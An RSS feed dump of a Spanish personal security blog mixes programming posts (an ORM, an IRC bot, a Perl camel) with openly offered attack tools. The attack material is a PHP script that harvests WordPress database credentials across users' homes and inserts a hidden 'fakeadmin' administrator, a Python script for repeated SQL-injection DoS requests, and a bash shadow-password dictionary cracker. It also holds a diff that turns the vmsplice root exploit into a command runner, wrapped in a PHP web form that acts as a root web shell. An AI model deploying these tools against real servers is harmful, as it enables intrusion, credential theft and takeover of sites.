  32.     if($uid >= 1000){
  33.         print $usr." (uid:".$uid."): ".$home."\n";
  34.         foreach($paths as $path){
  35.             if(file_exists($home."/".$path)) {
  36.             print "\tSearching in ".$home."/".$path."\n";
  37.                 foreach($files as $file){
  38.                     if(file_exists($home."/".$path."/".$file)){
  39.                          print "\t\tFound: ".$file."\n";
  40.                         $__f = @file($home."/".$path."/".$file);
  41.                         foreach($__f as $line){
  42.                             if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
  43.                             if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
  44.                             if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
  45.                             if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
  46.                             if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
  47.                             flush();
  48.                         }
  49.                         print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  50.                         if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  51.                         if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  52.                         flush();
  53.                     }
  54.                 }
  55.             }
  56.             flush();
  57.         }
  58.         flush();
  59.     }
  60. }
  61. function getURL($user, $pass, $db, $host, $prefix){
  62.     preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  63.     preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  64.     preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  65.     preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  66.     preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  67.     $sql = @mysql_connect($host, $user, $pass);
  68.     @mysql_select_db($db);
  69.     $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
  70.     @mysql_close($sql);
  71.     return @mysql_result($_q, 0, ‘option_value’);
  72. }
  73.  
  74. function UserAdmin($action, $user, $pass, $db, $host, $prefix){
  75.         preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  76.         preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  77.         preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  78.         preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  79.         preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  80.         $sql = @mysql_connect($host, $user, $pass);
  81.         @mysql_select_db($db);
  82.     if($action == "create"){
  83.         $wp_uid = rand(9990,99999);
  84.         @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(‘dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
  85.         @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
  86.     }
  87.     if($action == "delete"){
  88.         mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
  89.         mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
  90.     }
  91.     @mysql_close($sql);
  92.     return "fakeadmin/dummie";
  93. }
  94. ?>

Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables attack=create_user o attack=delete_user. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.

Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser mortal.

El código está disponible tambien en http://codes.zerial.org/php/wp-config_discover.phps

nota: queda de más decir que es para uso educativo y es una herramienta de auditoría :)

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/wp-config-discover/feed/ 2 DDoS Attacker Script: Peticiones automatizadas para lograr DoS http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/ http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/#comments Sun, 02 Aug 2009 19:26:52 +0000 Zerial http://blog.zerial.org/?p=709 “DDoS Attacker Script” es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.

El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:

  1. #!/usr/bin/python
  2. import socket, sys, os
  3. print "][ Attacking " + sys.argv[1]  + " ... ]["
  4. print "injecting " + sys.argv[2];
  5. def attack():   
  6.         #pid = os.fork()
  7.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8.         s.connect((sys.argv[1], 80))
  9.         print ">> GET /" + sys.argv[2] + " HTTP/1.1"
  10.         s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
  11.         s.send("Host: " + sys.argv[1]  + "\r\n\r\n");
  12.         s.close()
  13. for i in range(1, 10):
  14.         attack()

La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.
El uso del script es de la siguiente forma:
$ python DDoS.py www.pagina.com SQLi
En www.pagina.com obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo “ver_productos.php?id=55′ or ’1′=’1“

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/feed/ 2 ¿Qué es una vulnerabilidad File/Path Disclosure? http://blog.zerial.org/seguridad/que-es-una-vulnerabilidad-filepath-disclosure/ http://blog.zerial.org/seguridad/que-es-una-vulnerabilidad-filepath-disclosure/#comments Mon, 13 Jul 2009 03:24:51 +0000 Zerial http://blog.zerial.org/?p=545 Una vulnerabilidad del tipo File o Path Disclosure es cuando queda al descubierto la ruta de la aplicación o script en ejecución y de esta forma saber en que directorio especificamente se encuentra el sitio web. A simple vista parece ser inofensivo, pero cuando se necesita subir maliciosamente un archivo o descargar algo indevidamente, esto es muy útil.

disclosure

Esta vulnerabilidad corresponde a un error de programación al no atajar correctamente los errores o excepciones, por ejemplo, uno de los casos mas frecuentes se da con la famosa función include o requiere (en php):

  1. <?php
  2. include($_GET[‘section’].".php");
  3. ?>

Es muy común ver en sitios web como se pasa por parámetro la sección, algo similar a http://sitio.cl/index.php?section=contacto, entonces el script index.php recibe la variable “section”, le agrega la extension .php y la incluye, pero …

¿Qué pasa cuando cambiamos contacto por letras al azar como fdsghjk?
Fácil, la función include intentará incluir el archivo fdsghjk.php y como no existe, php mostrara un error parecido a Failed to open stream: No such file or directory in /home/web/public_html/index.php y con esto, ya tenemos la ruta donde se está ejecutando la aplicación: /home/web/public_html. De esta forma se nos facilita un ataque LFI o RFI.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/que-es-una-vulnerabilidad-filepath-disclosure/feed/ 6 ooPhBOT v1.0.5 http://blog.zerial.org/proyectos/oophbot-v105/ http://blog.zerial.org/proyectos/oophbot-v105/#comments Tue, 26 May 2009 17:11:26 +0000 Zerial http://blog.zerial.org/?p=269 Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde este link.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/proyectos/oophbot-v105/feed/ 0 Local root exploit en kernel 2.6.x (hasta la 2.6.29) http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/ http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/#comments Sun, 17 May 2009 23:45:19 +0000 Zerial http://blog.zerial.org/?p=287 El Viernes pasado se anunciaron, en la lista de seguridad de debian, actualizaciones para el kernel, que solucionaba varias vulnerabilidades.

CVE-2009-0028

    Chris Evans discovered a situation in which a child process can
    send an arbitrary signal to its parent.

CVE-2009-0834

    Roland McGrath discovered an issue on amd64 kernels that allows
    local users to circumvent system call audit configurations which
    filter based on the syscall numbers or argument details.

CVE-2009-0835

    Roland McGrath discovered an issue on amd64 kernels with
    CONFIG_SECCOMP enabled. By making a specially crafted syscall,
    local users can bypass access restrictions.

CVE-2009-0859

    Jiri Olsa discovered that a local user can cause a denial of
    service (system hang) using a SHM_INFO shmctl call on kernels
    compiled with CONFIG_SHMEM disabled. This issue does not affect
    prebuilt Debian kernels.

CVE-2009-1046

    Mikulas Patocka reported an issue in the console subsystem that
    allows a local user to cause memory corruption by selecting a
    small number of 3-byte UTF-8 characters.

CVE-2009-1072

    Igor Zhbanov reported that nfsd was not properly dropping
    CAP_MKNOD, allowing users to create device nodes on file systems
    exported with root_squash.

CVE-2009-1184

    Dan Carpenter reported a coding issue in the selinux subsystem
    that allows local users to bypass certain networking checks when
    running with compat_net=1.

CVE-2009-1192

    Shaohua Li reported an issue in the AGP subsystem they may allow
    local users to read sensitive kernel memory due to a leak of
    uninitialized memory.

CVE-2009-1242

    Benjamin Gilbert reported a local denial of service vulnerability
    in the KVM VMX implementation that allows local users to trigger
    an oops.

CVE-2009-1265

    Thomas Pollet reported an overflow in the af_rose implementation
    that allows remote attackers to retrieve uninitialized kernel
    memory that may contain sensitive data.

CVE-2009-1337

    Oleg Nesterov discovered an issue in the exit_notify function that
    allows local users to send an arbitrary signal to a process by
    running a program that modifies the exit_signal field and then
    uses an exec system call to launch a setuid application.

CVE-2009-1338

    Daniel Hokka Zakrisson discovered that a kill(-1) is permitted to
    reach processes outside of the current process namespace.

CVE-2009-1439

    Pavan Naregundi reported an issue in the CIFS filesystem code that
    allows remote users to overwrite memory via a long
    nativeFileSystem field in a Tree Connect response during mount.

Se publicaron dos exploits para explotar vulnerabildades de escalacion de provilegios local. Estos exploits se aprovechan de la funcion ptrace_attach() para ejecutar un codigo arbitrario que nos permita ejecutar una shell del tipo /bin/sh como root.
El primer exploit es el shoryuken, lo probé en distintas versiones del kernel de debian y archlinux, pudiendo ser explotada solo la version 2.6.26-1-686 de Debian 5.0, de forma aleatoria, es decir, hay veces que ejecuto el exploit y funciona y otras veces no. El segundo script fue probado por su autor en la version del kernel 2.6.29rc1 de Gentoo.
Estos exploits funcionan bajo situaciones especificas y no todos los sistemas son vulnerables.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/feed/ 0 Saporm: Simple abstraccion de bases de datos http://blog.zerial.org/linux/documentacion/simpleorm-abstraccion/ http://blog.zerial.org/linux/documentacion/simpleorm-abstraccion/#comments Mon, 20 Apr 2009 02:59:34 +0000 Zerial http://blog.zerial.org/?p=258 Hace un par de dias venia en el bus hacia mi casa y se me ocurrio una idea. Muchos pensara que ya existe esto que se me ocurrio, que existen frameworks, etc. Pero mi idea es hacer algo mas simple aun, se me ocurrio la idea de desarrollar un ORM (Object Relational Mapping) simple, que me permita de manera sencilla abstraer la base de datos para poder trabajarla como objeto. Mientras veina en el bus, pensaba el modelo logico para llevar acabo esta idea, luego de unos dias por fin he podido empezar a codificar lo que será desde ahora en adelante: Saporm. Como Hibernate para Java o Doctrine para PHP, la idea de este ORM es hacer las cosas aun mas faciles y mi idea, principalmente, es orientarla a proyectos pequeños y no a enterprise.

La idea es que este ORM/Framework haga todas las tareas de consultas y accesos a la base de datos de manera mas simple, por ejemplo, en Saporm, para que el framework sea capaz de abstraer la base de datos solo hay que crear una clase con los atributos correspondientes, segun los campos que tenga la tabla de la base de datos.
Por ejemplo, tenemos dentro del directorio “model” la siguiente clase:
(Usuarios.class.php)

  1. < ?php
  2. class Usuarios extends Core{
  3.    /* Variables necesarias por el ORM, es necesario que se declaren */
  4.    public $table_name;
  5.    public $socket;
  6.  
  7.    /* Variables del usuario */
  8.    public $id;
  9.    public $username;
  10.    public $password;
  11. }
  12. ?>

Saporm se encargará, automaticamente, de mapear la tabla “Usuarios” con sus atributos “id, username y password” y nos permitirá trabajarla como si de un objeto se tratara. La herramienta nos creara un objeto con el nombre Usuarios que contará con varios métodos y atributos, como por ejemplo:

$usuarios->search();
$usuarios->loadData();
$usuarios->select();
$usuarios->query();
$usuarios->insert();
$usuarios->update();
…


Este framework será extendible a distintos motores de bases de datos, actualmente estoy desarrollandolo para MySQL y pienso exportarlo a PostgreSQL y a Oracle.
Hasta el momento no llevo mucho programado, pero he hecho avances significativos, me pasé todo el día programando y mentalizando el modelo mental/lógico para lograr lo que busco. Saporm tiene las funcionalidades para precargar datos desde distintas tablas y para hacer una busqueda condicionada.

A continuación, un ejemplo de es la estructura básica para implementar Saporm:

  1. require_once("Saporm.php"); //Incluimos el fichero necesario
  2.  $SimpleORM->init("mysql", "root", "123456", "localhost"); //Iniciamos y nos conectamos a una BD
  3.  $SimpleORM->database("dbabs"); //Seleccionamos la base de datos que deseamos usar

Con este codigo obtenemos una instancia de SimpleORM llamada $SimpleORM, podemos referenciarla para cambiarle el nombre para trabajar con un nombre de variable mas amigable, por ejemplo $db: $db = &$Saporm y, desde ahora en adelante, trabajaremos con el objeto $db.

Si queremos precargar los datos de la base de datos, tenemos el método loadData(), que pondra a nuestra disposicion un arreglo con todos los registros de la tabla en cuestion.

  1. $db->usuarios->loadData();
  2.  
  3. for($i = 0; $i < = 3){
  4.    echo "id: ".$db->usuarios->id[$i]." user:".$db->usuarios->username[$i];
  5. }

Esta seria una manera de listar los 3 primeros registros de la base de datos, previamente cargada en los atributos de la clase “usuarios”.

Tambien es posible hacer una busqueda con criterio usando el metodo search():

  1. print "Se encontraron: ".$db->posts->search("posts" => "%probando%")." registros.";
  2. foreach($db->posts->result as $result){
  3.   print $result[‘id’]."";
  4. }

Espero poder seguir con esta idea y lograr un ORM sencillo y facil de usar, que nos permita el desarrollo de proyectos pequeños en poco tiempo y de manera más agil. Cuando tenga un poco mas maduro el codigo lo pondre para que lo puedan descargar. Si alguien tiene ganas de unirse o darme feedback, puede contactarse conmigo sin ningun problema.

Editado (05-05-2009):
- Se unió osu (es que no le gusta que lo nombren) al desarrollo y decidimos cambiarle el nombre, ya que “SimpleORM” ya estaba creado como proyecto en SourceForge. Desde ahora lo llamaremos Saporm.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/documentacion/simpleorm-abstraccion/feed/ 0 Script en perl en forma de camello http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/ http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/#comments Fri, 20 Feb 2009 15:25:31 +0000 Zerial http://blog.zerial.org/?p=247 =abs($F))?$G:$F;($E<0) and($ I,$K)=($J,$L);$E||=.01 ;for($i=0;$i< =abs$E;$i++ ){ $D->{$K +int($i*$F/$E) [...]]]> Ahora que me estoy especializando en perl, me acordé haber visto en el blog de vostorga un post bien curioso, escrito en perl y en forma de camello. 

                                                       #
                                                   sub j(\$){($
                     P,$V)=                      @_;while($$P=~s:^
                 ([()])::x){                    $V+=('('eq$1)?-32:31
           }$V+=ord(  substr(                 $$P,0,1,""))-74} sub a{
          my($I,$K,$  J,$L)=@_               ;$I=int($I*$M/$Z);$K=int(
         $K*$M/$Z);$J=int($J*$M             /$Z);$L=int($L*$M/$Z); $G=$
         J-$I;$F=$L-$K;$E=(abs($          G)>=abs($F))?$G:$F;($E<0) and($
          I,$K)=($J,$L);$E||=.01       ;for($i=0;$i< =abs$E;$i++ ){ $D->{$K
                  +int($i*$F/$E)      }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$
                 Z=$z||.01;map{    $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord
                substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q
              %9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L);
              ($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y}
              ->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{
              require Win32::Console::ANSI};$b=$w?'1;7;':"";($j,$u,$s,$t,$a,$n,$o
              ,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'.
               'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'.
               ']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'.
                '?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'.
                  'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'.
                   'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'.  'ZP[Z'.
                      'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'.  '[Z\U'.
                        '{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'.  'BCB*'.
                             'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% & @ x)[int    rand
                              4];map{printf  "\e[$b;%dm",int(rand 6)+101-60*   ($w
                               ||0);system(  "cls")if$w ;($A,$S)=    ($_[1],   $
                                _[0]);($M,   @,)= split  '}';for(     $z=256
                                ;$z>0; $z   -=$S){$S*=   $A;p @,}      sleep$_
                                [2];while   ($_[3]&&($    z+=$ S)       < =256){
                                p@,}}("".   "32}7D$j"     ."}AG".       "$u}OG"
                                ."$s}WG"    ."$t",""      ."24}("        ."IJ$a"
                                ."}1G$n"    ."}CO$o"     ."}GG$t"        ."}QC"
                                 ."$h}"      ."^G$e"    ."})IG"          ."$r",
                                 "32}?"       ."H$p}FG$e}QG$r".          "}ZC"
                                 ."$l",          "28}(LC" .""            ."".
                                 "$h}:"           ."J$a}EG".             "$c"
                                 ."}M"             ."C$k}ZG".            "$e"
                                 ."}"             ."dG$r","18"          ."}("
                                ."D;"            ."$C"  )}{h(16         ,1,1,0
                               );h(8,          .98,0,0   );h(16         ,1,1,1)
                               ;h(8.0         ,0.98,0,     1);         redo}###
                             #written                                 060204 by
                           #liverpole                                  @@@@@@@
                        #@@@@@@@@@@@

Para ejecutarlo basta que lo copies y lo pegues en tu editor de texto favorito y lo ejecutes escribiendo perl script.pl. Tambien puedes descargarlo desde acá.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/feed/ 3 ooPhBot: Bot para IRC escrito en PHP http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/ http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/#comments Sat, 25 Oct 2008 04:26:10 +0000 Zerial http://blog.zerial.org/?p=162 Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba “aprendiendo”. Dentro de ellas están:

  • Distintos niveles de privilegios (administrador, owner de un canal, access de un canal)
  • Funcion para realizar busquedas en Google (!google <palabra>)
  • Function para buscar definiciones en Google (!define <termino>)
  • Distintas funciones de administracion de usuarios (!admin|access add|del|list)
  • etc

Algunas de las caracteristicas de este bot es su proteccion anti flood que se define por el owner del canal y el Oráculo (Oracle; término puesto por mi a esta funcionalidad) que permite enseñar al bot definiciones de palabras para luego ser consultadas (!learn palabra significado, ?? palabra).
Este bot corre bajo php-cli (command line interface), es decir, por consola y tambien puede ser ejecutado desde la web. Queda trabajando como un demonio.

Version Actual:
La version actual es la misma desde enero del año 2007, no he vuelto a tocar el codigo (aunque sigo usando el bot), funciona todo menos las busquedas de terminos y definiciones en Google que, me imagino, hay que hacerle un par de modificaciones al codigo para que parsee bien las busquedas.

Changelog

VERSION 1.0.4 – 26 ENE 2007

- Cambiado el sistema de autentifiacion. Se verifica que el usuario
este identificado con NickServ.

VERSION 1.0.3 – 19 ENE 2007

- Se agrego a la clase Bot el metodo TXTflood( … ) que verifica
el flood de texto de un usuario en un canal especifico, esta opcion
puede ser habilitada o desactivada por usuarios con privilegios mediante
!flood on|off en el canal.
- Se ha reescrito la clase que permite la identificacion y permite que los usuarios
tengan distintos privilegios. (CHAdmin.)
- Corregido el bug que expulsaba de manera distinta a !k o !kick (0 nick o [spacio] nick)
- Agregada la clase Google con los metodos !define y !google.

VERSION 1.0.2 – 16 ENE 2007

- El bot corre en segundo plano (fork).
- Agregada una funcion extra en la clase del bot usando el binario ‘numerador’
ubicado en el directorio extras, la funcion es !num NUMERO.
- Fixeado bug que causaba la caida del bot al enviar dos veces el comando
para setear una clave. (reportado por Pons)
- Agregado soporte para unrealircd (antes solo habia sido probado en bahamut).
- Testeado en dancer-ircd, bahamut, Hyperion y unrealircd.

VERSION 1.0.0 – 15 ENE 2007

- Corregido el fallo que cerraba la conexion a la base de datos por idle.

Descargar:
Version 1.0.4: zip | tar.gz | tar.bz2

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/feed/ 19 Descifrando password encriptadas con shadow (md5 + salt) http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/ http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/#comments Sat, 18 Oct 2008 05:27:14 +0000 Zerial http://blog.zerial.org/?p=155 En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero /etc/shadow, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una shadow password es un hash del password mas un salt (hashed and salted password).
Un ejemplo de una clave shadow es root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::, si la analizamos podemos darnos cuenta de lo siguiente:

  • Lo que nos interesa es solamente root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30.
  • Lo que esta antes de “:” corresponde al usuario: root; y lo que sigue es la password.
  • Si descomponemos la password podemos obtener:
  • $1$: Nos indica que corresponde a una encriptacion md5.
  • xOqq7NEt: Es el SALT que se usa para generar el hash del password
  • vDOA0jbLcaiRbGsj3ddz30.: Es el hash salteado de nuestra password.

Si analizamos todos estos datos podemos darnos cuenta que teniendo el salt podemos encriptar una palabra o frase y generar un hash similar al que estaba en el fichero /etc/shadow, por lo que solo nos queda crear un script y tener un diccionario de palabras a mano para empezar a crackear o descifrar las password en shadow.

El comando mkpasswd nos permite generar un password segun un salt especificado.
Ejemplo:

machine:~$ mkpasswd -H md5 miPassword -S DSfdsdaA
$1$DSfdsdaA$kOxgZsSAshG4W.dgGp28Y/

He creado un script para hacer mas eficiente y automatiza un poco el proceso.

  1. #!/bin/bash
  2.  
  3. ################################################################
  4. #
  5. # Crack for SHADOW PASSWORDS.
  6. # Usage:
  7. #       crack.sh SALT ENCRYPTED_PASS WORD_LIST
  8. # Example:
  9. #       crack.sh mAsCaLaZ 8E6sMbq.fRDo6nbQqIh.z1 wordlist.txt
  10. #
  11. # by Zerial – http://blog.zerial.org – fernando@zerial.org
  12. ################################################################
  13.  
  14. __SALT=$1;
  15. __HASH="md5";
  16. __FILE=$3;
  17. __RPWD=$2;
  18. echo "Cracking $__RPWD …";
  19. echo "Attempts: `wc -l $3 |cut -f1 -d ‘ ‘`";
  20.  
  21. for lista in `cat $__FILE`
  22. do
  23.         pass_temp=`mkpasswd -H $__HASH "$lista" -S $__SALT |cut -f4 -d ‘$’`;
  24.         #echo "Probing $lista …";
  25.         if [ "$__RPWD" = "$pass_temp" ]; then
  26.                 echo ""
  27.                 echo "Password Cracked."
  28.                 echo "Decrypted password is: $lista"
  29.                 exit
  30.         fi
  31.         i=`expr $i + 1`;
  32. done
  33. echo "Password not found. :-( ";

Funcionamiento: Lee palabras desde un fichero y por cada palabra leida genera un hashed and salted password y la compara con los parametros pasados al script.

machine:~$ sh crack.sh DSfdsdaA .NySZJPYFdPr0ETVpMeKx1 wordlist
Cracking .NySZJPYFdPr0ETVpMeKx1 …
Attempts: 161597

Password Cracked.
Decrypted password is: test

Descargar script

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/feed/ 12 root exploit: Ejecutar comando como root http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/ http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/#comments Thu, 09 Oct 2008 04:39:21 +0000 Zerial http://blog.zerial.org/?p=98 Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.

root-exploit.diff

  1. 51a52
  2. > char  *_cmd;
  3. 55d55
  4. < printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  5. 182,183d181
  6. <
  7. <       printf("[+] root\n");
  8. 185c183,184
  9. <       execl("/bin/bash", "bash", "-i", NULL);
  10. —
  11. >       system(_cmd);
  12. >       //execl("/bin/bash", "bash", "-i", NULL);
  13. 195a195
  14. >       _cmd = argv[1];
  15. 202,205d201
  16. < printf("———————————–\n");
  17. <       printf(" Linux vmsplice Local Root Exploit\n");
  18. <       printf(" By qaaz\n");
  19. <       printf("———————————–\n");
  20. 221,223d216
  21. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  22. <       printf("[+] page: 0x%lx\n", pages[0]);
  23. <       printf("[+] page: 0x%lx\n", pages[1]);
  24. 241,243d233
  25. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  26. <       printf("[+] page: 0x%lx\n", pages[2]);
  27. <       printf("[+] page: 0x%lx\n", pages[3]);
  28. 258,259d247
  29. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  30. <       printf("[+] page: 0x%lx\n", pages[4]);
  31. 269d256
  32. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)

La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.

Demostracion

username@machine:~$ ./root-exploit whoami
root
username@machine:~$

De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.

  1. < ?PHP
  2. print "
  3. <form action="?" method="post">
  4. <input name="cmd" type="text" />
  5. <input type="submit" value="eXec!" />
  6.  
  7. ";
  8. if(isset($_POST[‘cmd’]))
  9. {
  10.    print "<textarea cols="30" rows="120">";
  11.    print shell_exec("./root-exploit ".$_POST[‘cmd’]);
  12.    print "</textarea>";
  13. }
  14. ?>

Descargas
Variacion del exploit
Exploit original 1
Exploit original 2

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/feed/ 1 dirHack http://blog.zerial.org/seguridad/dirhack/ http://blog.zerial.org/seguridad/dirhack/#comments Sun, 05 Oct 2008 01:05:08 +0000 Zerial http://blog.zerial.org/2008/10/04/dirhack/ El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores.

  1. #!/bin/sh
  2. # Written by Zerial &amp; Pons
  3. # McDonald‘s Day …
  4. # 21.34, Jun 13 2006 – Updated: 01.41, Jun 15 2006
  5. # # # # # # # # # # # # # # # # # # # # # # # # # #
  6. #  ____  _      _   _            _
  7. # |  _ (_)_ __| | | | __ _  ___| | __
  8. # | | | | | ‘__| |_| |/ _` |/ __| |/ /
  9. # | |_| | | |  |  _  | (_| | (__|   < # |____/|_|_|  |_| |_|__,_|___|_|_
  10. #
  11. # # # # # # # # # # # # # # # # # # # # # # # # # #
  12. version="1.0.2"
  13. if [ $# -lt 2 ]
  14. then
  15.         echo
  16.         echo "DirHack eXploit $version"
  17.         echo "This thing will list all sub-home directories"
  18.         echo "that are accesable by the user running the"
